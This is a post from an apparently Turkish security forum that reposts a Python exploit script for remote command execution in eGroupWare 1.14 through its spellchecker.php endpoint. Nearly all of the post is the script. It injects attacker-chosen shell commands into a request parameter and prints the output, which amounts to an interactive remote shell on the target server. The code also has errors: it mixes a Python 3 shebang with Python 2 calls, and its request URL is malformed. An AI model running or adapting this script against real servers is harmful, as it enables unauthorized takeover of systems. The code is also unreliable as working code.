eGroupWare 1.14 - 'spellchecker.php' Remote Command Execution

'Web Application Exploits' forumunda KaliBot tarafından 30 Temmuz 2020 tarihinde açılan konu

  1. KaliBot

    KaliBot Moderator

    Katılım:
    30 Haziran 2015
    Mesaj:
    578
    Beğeniler:
    73
    Ödül Puanları:
    12
    Web Sitesi:

    Kod:
    # Exploit Title: eGroupWare 1.14 - 'spellchecker.php' Remote Command Execution
    # Date: 2020-07-27
    # Exploit Author: Berk KIRAS
    # Vendor Homepage: https://www.egroupware.org/en/
    # Version: 1.14
    # Tested on: Apache
    # Berk KIRAS PwC - Cyber Security Specialist
    
    
    #!/usr/bin/python3
    
    import requests
    import sys
    import threading
    import urllib
    
    def send_req(command):
            #Headers
            my_datas_headers ={
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
                "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
                "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
                "Accept-Encoding": "gzip, deflate",
                "Content-type": "application/json; charset=UTF-8",
                "Connection": "close",
            }
            #If you want to edit and add headers some headers added
            s = requests.session()
           #if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
            s.headers.update(my_datas_headers)
            params={"q":"||"+command+"||"}
            command_encoded = urllib.urlencode(params)
            command_encoded = command_encoded.split("=")[1]
            r = s.get(sys.argv[1]+"://"+sys.argv[2]+"/egroupware/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/"+"spellchecker.php?spellchecker_lang=egroupware_spellchecker_cmd_exec.nasl"+command_encoded)
            return r.content
    def main():
        if(len(sys.argv) < 3):
            print("Usage:exploit.py <http/s> <IP> ")
            sys.exit(0)
        else:
            try:
                while True:
                    cmd = raw_input("CMD_>")
                    resp=send_req(cmd).split(";")[5].split("2>&1")[1]
                    print(resp)
    
            except Exception:
                print(Exception)
    
    main()
                
     
    MrX ve MacTavish bunu beğendi.

Bu Sayfayı Paylaş

Share